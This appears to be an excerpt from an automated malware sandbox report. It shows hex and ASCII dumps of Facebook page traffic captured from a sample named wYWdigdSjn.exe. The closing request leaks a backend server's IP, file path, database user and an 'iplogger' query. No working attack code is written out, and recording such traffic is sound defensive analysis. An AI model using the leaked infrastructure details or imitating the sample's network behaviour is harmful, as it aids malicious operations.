/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Foptout.aboutads.info\u00252F&h=AT2O8f_2Lk4BmAP8O7dSzHRYD0kGmxqbyTqsePKSPkcKMFLPnlFqREJvsG_yRghxjGP9lpeupIbfnZQIZ2cz3VW_cSEER_GA2LRlzL73Kzh3V_wLQ07x4o5SdESh7CrnWL5BIRNXrFTkehsaGVI3mA\" target=\"_bla
2022-10-08 09:35:18 UTC	681	IN	Data Raw: 76 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 65 49 49 63 61 5a 41 55 65 58 71 20 73 78 5f 38 65 30 63 62 32 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 62 20 5f 39 6e 67 61 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 6f 72 20 64 65 76 69 63 65 20 6d 61 79 20 6f 66 66 65 72 20 73 65 74 74 69 6e 67 73 20 74 68 61 74 20 61 6c 6c 6f 77 20 79 6f 75 20 74 6f 20 63 68 6f 6f 73 65 20 77 68 65 74 68 65 72 20 62 72 6f 77 73 65 72 20 63 6f 6f 6b 69 Data Ascii: v\">\u003Ci class=\"img sp_eIIcaZAUeXq sx_8e0cb2\">\u003C\/i>\u003C\/span>\u003C\/div>\u003C\/button>\u003Cdiv class=\"_9ngb _9nga\">\u003Cdiv>\u003Cp class=\"_9o-m\">Your browser or device may offer settings that allow you to choose whether browser cooki
2022-10-08 09:35:18 UTC	683	IN	Data Raw: 6b 58 46 66 71 43 2d 5f 68 58 73 64 7a 69 6d 71 77 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 5c 75 30 30 32 35 32 46 65 6e 2d 55 53 5c 75 30 30 32 35 32 46 6b 62 5c 75 30 30 32 35 32 46 Data Ascii: kXFfqC-_hXsdzimqw\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Internet Explorer\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fsupport.mozilla.org\u00252Fen-US\u00252Fkb\u00252F
2022-10-08 09:35:18 UTC	684	IN	Data Raw: 6f 77 2d 74 6f 2d 6d 61 6e 61 67 65 2d 63 6f 6f 6b 69 65 73 2d 69 6e 2d 6f 70 65 72 61 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 31 4a 38 4e 6d 53 4e 47 59 62 45 54 4f 71 75 68 50 72 4e 6d 56 38 51 70 59 5a 4f 4a 51 78 36 42 76 6e 42 67 36 34 6f 32 4a 41 37 71 33 43 73 34 34 49 6e 57 52 62 79 68 31 48 63 31 76 77 53 45 79 6e 42 48 4f 37 50 2d 72 4a 6b 51 30 62 78 45 6e 44 63 64 4a 36 32 67 55 78 71 53 42 68 5a 6b 42 5f 46 73 6a 44 78 42 39 39 76 79 78 5a 72 6d 66 35 5f 37 76 45 4a 72 34 61 45 76 77 66 55 78 4c 4d 7a 41 78 50 46 75 50 70 71 4f 63 72 72 61 43 50 63 61 56 6a 57 74 59 75 4b 42 48 4b 47 37 59 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d Data Ascii: ow-to-manage-cookies-in-opera\u00252F&h=AT1J8NmSNGYbETOquhPrNmV8QpYZOJQx6BvnBg64o2JA7q3Cs44InWRbyh1Hc1vwSEynBHO7P-rJkQ0bxEnDcdJ62gUxqSBhZkB_FsjDxB99vyxZrmf5_7vEJr4aEvwfUxLMzAxPFuPpqOcrraCPcaVjWtYuKBHKG7Y\" target=\"_blank\" rel=\"nofollow\" data-lynx-
2022-10-08 09:35:18 UTC	686	IN	Data Raw: 22 5f 5f 68 74 6d 6c 22 3a 22 46 72 61 6e 5c 75 30 30 65 37 61 69 73 20 28 46 72 61 6e 63 65 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 38 5f 72 48 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 49 74 61 6c 69 61 6e 6f 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 39 5f 49 31 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4d 61 67 79 61 72 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 61 5f 6b 56 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4e 65 64 65 72 6c 61 6e 64 73 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 62 5f 4b 72 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4e 6f 72 73 6b 20 28 62 6f 6b 6d 5c 75 30 30 65 35 6c 29 Data Ascii: "__html":"Fran\u00e7ais (France)"},1],["__markup_3310c079_0_8_rH",{"__html":"Italiano"},1],["__markup_3310c079_0_9_I1",{"__html":"Magyar"},1],["__markup_3310c079_0_a_kV",{"__html":"Nederlands"},1],["__markup_3310c079_0_b_Kr",{"__html":"Norsk (bokm\u00e5l)
2022-10-08 09:35:18 UTC	687	IN	Data Raw: 5c 75 36 35 38 37 28 5c 75 39 39 39 39 5c 75 36 65 32 66 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 75 5f 31 51 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 36 35 65 35 5c 75 36 37 32 63 5c 75 38 61 39 65 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 76 5f 65 42 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 64 35 35 63 5c 75 61 64 36 64 5c 75 63 35 62 34 22 7d 2c 31 5d 5d 2c 22 65 6c 65 6d 65 6e 74 73 22 3a 5b 5b 22 5f 5f 65 6c 65 6d 5f 30 37 32 62 38 65 36 34 5f 30 5f 30 5f 39 69 22 2c 22 75 5f 30 5f 30 5f 58 4c 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 39 34 63 31 35 33 38 35 5f 30 5f 30 5f 36 75 22 2c 22 75 5f 30 5f 31 5f 38 6f 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 Data Ascii: \u6587(\u9999\u6e2f)"},1],["__markup_3310c079_0_u_1Q",{"__html":"\u65e5\u672c\u8a9e"},1],["__markup_3310c079_0_v_eB",{"__html":"\ud55c\uad6d\uc5b4"},1]],"elements":[["__elem_072b8e64_0_0_9i","u_0_0_XL",1],["__elem_94c15385_0_0_6u","u_0_1_8o",1],["__elem_a
2022-10-08 09:35:18 UTC	688	IN	Data Raw: 32 31 66 37 0d 0a 70 61 67 65 22 3a 6e 75 6c 6c 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 Data Ascii: 21f7page":null,"uri":"https:\/\/www.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u00252
2022-10-08 09:35:18 UTC	690	IN	Data Raw: 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 2d 2d 73 61 6e 69 74 69 7a 65 64 2d 2d 22 7d 5d 5d 2c 5b 22 55 49 54 69 6e 79 56 69 65 77 70 6f 72 74 41 63 74 69 6f 6e 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 52 65 73 65 74 53 63 72 6f 6c 6c 4f 6e 55 6e 6c 6f 61 64 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 30 5f 50 45 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 30 5f 50 45 22 7d 5d 5d 2c 5b 22 41 63 63 65 73 73 69 62 69 6c 69 74 79 57 65 62 56 69 72 74 75 61 6c 43 75 72 73 6f 72 43 6c 69 63 6b 4c 6f 67 67 65 72 22 2c 22 69 Data Ascii: 00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=--sanitized--"}]],["UITinyViewportAction","init",[],[]],["ResetScrollOnUnload","init",["__elem_a588f507_0_0_PE"],[{"__m":"__elem_a588f507_0_0_PE"}]],["AccessibilityWebVirtualCursorClickLogger","i
2022-10-08 09:35:18 UTC	691	IN	Data Raw: 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 66 34 36 66 34 39 34 36 5f 30 5f 31 5f 59 75 22 7d 5d 5d 2c 5b 22 4c 6f 67 69 6e 46 6f 72 6d 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 38 33 35 63 36 33 33 61 5f 30 5f 30 5f 4e 4f 22 2c 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 32 5f 51 6e 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 38 33 35 63 36 33 33 61 5f 30 5f 30 5f 4e 4f 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 32 5f 51 6e 22 7d 2c 6e 75 6c 6c 2c 74 72 75 65 2c 7b 22 70 75 62 4b 65 79 22 3a 7b 22 70 75 62 6c 69 63 4b 65 79 22 3a 22 35 33 65 61 64 32 30 36 32 38 62 35 63 38 35 38 61 38 38 66 34 30 33 32 38 61 66 66 32 36 65 63 30 38 35 34 Data Ascii: [{"__m":"__elem_f46f4946_0_1_Yu"}]],["LoginFormController","init",["__elem_835c633a_0_0_NO","__elem_45d73b5d_0_2_Qn"],[{"__m":"__elem_835c633a_0_0_NO"},{"__m":"__elem_45d73b5d_0_2_Qn"},null,true,{"pubKey":{"publicKey":"53ead20628b5c858a88f40328aff26ec0854
2022-10-08 09:35:18 UTC	693	IN	Data Raw: 22 5f 5f 65 6c 65 6d 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 6f 67 22 7d 2c 66 61 6c 73 65 5d 5d 7d 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 52 75 6e 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 52 75 6e 29 7b 52 75 6e 2e 6f 6e 41 66 74 65 72 4c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 63 6c 65 61 6e 75 70 28 54 69 6d 65 53 6c 69 63 65 29 7d 29 7d 29 3b 7d 29 3b 0a 0a 6f 6e 6c 6f 61 64 52 65 67 69 73 74 65 72 5f 44 45 50 52 45 43 41 54 45 44 28 66 75 6e 63 74 69 6f 6e 20 28 29 7b 74 72 79 20 7b 20 24 28 22 65 6d 61 69 6c 22 29 2e 66 6f 63 75 73 28 29 3b 20 7d 20 63 61 74 63 68 20 28 5f 69 67 6e 6f 72 65 29 20 7b 20 7d 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 6e 6f 77 5f 69 6e 6c 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 Data Ascii: "__elem_9f5fac15_0_0_og"},false]]});requireLazy(["Run"],function(Run){Run.onAfterLoad(function(){s.cleanup(TimeSlice)})});});onloadRegister_DEPRECATED(function (){try { $("email").focus(); } catch (_ignore) { }});</script><script>now_inl=(function(){va
2022-10-08 09:35:18 UTC	694	IN	Data Raw: 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 74 47 6e 67 37 72 64 67 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 64 2f 72 2f 74 6a 49 55 4a 55 51 38 36 4d 4f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 74 47 6e 67 37 72 64 67 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 67 2f 6c 2f 30 2c 63 72 6f 73 73 2f 64 58 Data Ascii: 5Kz" as="script" nonce="tGng7rdg" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yd/r/tjIUJUQ86MO.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="tGng7rdg" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yg/l/0,cross/dX
2022-10-08 09:35:18 UTC	696	IN	Data Raw: 67 22 3a 7b 22 66 6c 75 73 68 5f 70 61 67 65 6c 65 74 73 5f 61 73 61 70 22 3a 74 72 75 65 2c 22 64 69 73 70 61 74 63 68 5f 70 61 67 65 6c 65 74 5f 72 65 70 6c 61 79 61 62 6c 65 5f 61 63 74 69 6f 6e 73 22 3a 66 61 6c 73 65 7d 7d 29 29 3b 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 74 47 6e 67 37 72 64 67 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 62 65 66 6f 72 65 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 22 66 69 72 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 6e 29 3b 7d 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c Data Ascii: g":{"flush_pagelets_asap":true,"dispatch_pagelet_replayable_actions":false}}));});</script><script nonce="tGng7rdg">(function(){var n=now_inl();requireLazy(["__bigPipe"],function(bigPipe){bigPipe.beforePageletArrive("first_response",n);})})();</script><
2022-10-08 09:35:18 UTC	697	IN	Data Raw: 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 70 68 61 73 65 3a 36 33 2c 6c 61 73 74 5f 69 6e 5f 70 68 61 73 65 3a 74 72 75 65 2c 74 68 65 5f 65 6e 64 3a 74 72 75 65 2c 6a 73 6d 6f 64 73 3a 7b 64 65 66 69 6e 65 3a 5b 5b 22 54 69 6d 65 53 6c 69 63 65 49 6e 74 65 72 61 63 74 69 6f 6e 53 56 22 2c 5b 5d 2c 7b 6f 6e 5f 64 65 6d 61 6e 64 5f 72 65 66 65 72 65 6e 63 65 5f 63 6f 75 6e 74 69 6e 67 3a 74 72 75 65 2c 6f 6e 5f 64 65 6d 61 6e 64 5f 70 72 6f 66 69 6c 69 6e 67 5f 63 6f 75 6e 74 65 72 73 3a 74 72 75 65 2c 64 65 66 61 75 6c 74 5f 72 61 74 65 3a 31 30 30 30 2c 6c 69 74 65 5f 64 65 66 61 75 6c 74 5f 72 61 74 65 3a 31 30 30 2c 69 6e 74 65 72 61 63 74 69 6f 6e 5f 74 6f 5f 6c 69 74 65 5f 63 6f 69 6e 66 6c 69 70 3a 7b 41 44 53 5f 49 4e 54 45 52 46 41 43 45 53 5f 49 4e Data Ascii: st_response",phase:63,last_in_phase:true,the_end:true,jsmods:{define:[["TimeSliceInteractionSV",[],{on_demand_reference_counting:true,on_demand_profiling_counters:true,default_rate:1000,lite_default_rate:100,interaction_to_lite_coinflip:{ADS_INTERFACES_IN
2022-10-08 09:35:18 UTC	698	IN	Data Raw: 74 34 38 70 2d 30 65 69 5a 78 68 45 51 50 55 77 33 43 43 6f 77 50 2d 79 5a 52 7a 71 63 64 43 7a 45 71 38 48 6f 74 63 30 6f 45 74 5f 46 4a 59 34 47 4a 53 48 79 50 45 73 54 6f 37 62 49 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 31 37 34 33 39 22 2c 5b 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 42 6c 75 65 22 2c 22 41 61 32 50 35 5a 4b 50 34 48 2d 63 69 4c 51 36 38 78 47 53 31 7a 39 65 62 65 42 53 50 67 74 34 38 70 2d 30 65 69 5a 78 68 45 51 50 55 77 33 43 43 6f 77 50 2d 79 5a 52 7a 71 63 64 43 7a 45 71 38 48 6f 74 63 30 6f 45 74 5f 46 4a 59 34 47 4a 53 48 79 50 45 73 54 6f 37 62 49 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 30 38 38 35 37 22 2c 5b 5d 2c 7b 5f 5f Data Ascii: t48p-0eiZxhEQPUw3CCowP-yZRzqcdCzEq8Hotc0oEt_FJY4GJSHyPEsTo7bI"]},-1],["cr:917439",["PageTransitionsBlue"],{__rc:["PageTransitionsBlue","Aa2P5ZKP4H-ciLQ68xGS1z9ebeBSPgt48p-0eiZxhEQPUw3CCowP-yZRzqcdCzEq8Hotc0oEt_FJY4GJSHyPEsTo7bI"]},-1],["cr:1108857",[],{__
2022-10-08 09:35:18 UTC	700	IN	Data Raw: 7d 2c 6b 6e 6f 77 6e 5f 72 6f 75 74 65 73 3a 5b 22 61 72 74 69 6c 6c 65 72 79 5f 6a 61 76 61 73 63 72 69 70 74 5f 61 63 74 69 6f 6e 73 22 2c 22 61 72 74 69 6c 6c 65 72 79 5f 6a 61 76 61 73 63 72 69 70 74 5f 74 72 61 63 65 22 2c 22 61 72 74 69 6c 6c 65 72 79 5f 6c 6f 67 67 65 72 5f 64 61 74 61 22 2c 22 6c 6f 67 67 65 72 22 2c 22 66 61 6c 63 6f 22 2c 22 67 6b 32 5f 65 78 70 6f 73 75 72 65 22 2c 22 6a 73 5f 65 72 72 6f 72 5f 6c 6f 67 67 69 6e 67 22 2c 22 6c 6f 6f 6d 5f 74 72 61 63 65 22 2c 22 6d 61 72 61 75 64 65 72 22 2c 22 70 65 72 66 78 5f 63 75 73 74 6f 6d 5f 6c 6f 67 67 65 72 5f 65 6e 64 70 6f 69 6e 74 22 2c 22 71 65 78 22 2c 22 72 65 71 75 69 72 65 5f 63 6f 6e 64 5f 65 78 70 6f 73 75 72 65 5f 6c 6f 67 67 69 6e 67 22 5d 2c 73 68 6f 75 6c 64 5f 64 72 6f Data Ascii: },known_routes:["artillery_javascript_actions","artillery_javascript_trace","artillery_logger_data","logger","falco","gk2_exposure","js_error_logging","loom_trace","marauder","perfx_custom_logger_endpoint","qex","require_cond_exposure_logging"],should_dro
2022-10-08 09:35:18 UTC	701	IN	Data Raw: 54 32 30 49 77 4b 6b 51 69 37 31 6c 6b 4e 76 41 77 56 49 50 5a 39 41 76 62 4d 36 70 52 52 6f 58 32 66 5f 77 42 54 66 34 7a 45 2d 74 71 6b 70 78 4d 38 6a 75 58 54 4b 72 38 73 65 75 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 33 35 33 33 35 39 22 2c 5b 22 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 49 6d 70 6c 46 6f 72 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 49 6d 70 6c 46 6f 72 42 6c 75 65 22 2c 22 41 61 30 73 34 54 45 77 56 4f 44 37 63 47 41 68 39 4b 61 4e 70 73 44 32 77 70 63 35 62 41 57 58 66 53 5f 33 71 62 6a 70 71 43 37 77 63 68 62 70 77 51 4f 68 7a 73 79 4e 4a 6c 2d 6e 66 4b 70 5a 68 51 2d 41 63 68 78 6e 45 69 57 78 5f 30 4d 43 75 4a 64 39 36 49 5a 47 4e 4a 79 36 6a 64 54 61 6b 51 22 5d 7d 2c 2d 31 5d 2c 5b 22 54 Data Ascii: T20IwKkQi71lkNvAwVIPZ9AvbM6pRRoX2f_wBTf4zE-tqkpxM8juXTKr8seu"]},-1],["cr:1353359",["EventListenerImplForBlue"],{__rc:["EventListenerImplForBlue","Aa0s4TEwVOD7cGAh9KaNpsD2wpc5bAWXfS_3qbjpqC7wchbpwQOhzsyNJl-nfKpZhQ-AchxnEiWx_0MCuJd96IZGNJy6jdTakQ"]},-1],["T
2022-10-08 09:35:18 UTC	703	IN	Data Raw: 6e 6f 72 6d 61 6c 22 2c 70 61 67 65 5f 75 72 69 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 Data Ascii: normal",page_uri:"https://www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www
2022-10-08 09:35:18 UTC	704	IN	Data Raw: 6f 4c 6f 67 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 57 65 62 53 74 6f 72 61 67 65 4d 6f 6e 73 74 65 72 22 2c 22 73 63 68 65 64 75 6c 65 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 41 72 74 69 6c 6c 65 72 79 22 2c 22 64 69 73 61 62 6c 65 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 53 63 72 69 70 74 50 61 74 68 4c 6f 67 67 65 72 22 2c 22 73 74 61 72 74 4c 6f 67 67 69 6e 67 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 54 69 6d 65 53 70 65 6e 74 42 69 74 41 72 72 61 79 4c 6f 67 67 65 72 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 44 65 66 65 72 72 65 64 43 6f 6f 6b 69 65 22 2c 22 61 64 64 54 6f 51 75 65 75 65 22 2c 5b 5d 2c 5b 22 5f 6a 73 5f 64 61 74 72 22 2c 22 56 6b 52 42 59 37 6a 50 61 54 61 73 5a 5f 59 50 36 45 37 6e 70 57 63 77 22 2c 36 33 30 37 32 30 30 30 30 30 30 2c 22 2f 22 2c 74 Data Ascii: oLog",[],[]],["WebStorageMonster","schedule",[],[]],["Artillery","disable",[],[]],["ScriptPathLogger","startLogging",[],[]],["TimeSpentBitArrayLogger","init",[],[]],["DeferredCookie","addToQueue",[],["_js_datr","VkRBY7jPaTasZ_YP6E7npWcw",63072000000,"/",t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49715	31.13.92.36	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
2022-10-08 09:35:44 UTC	705	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='wYWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
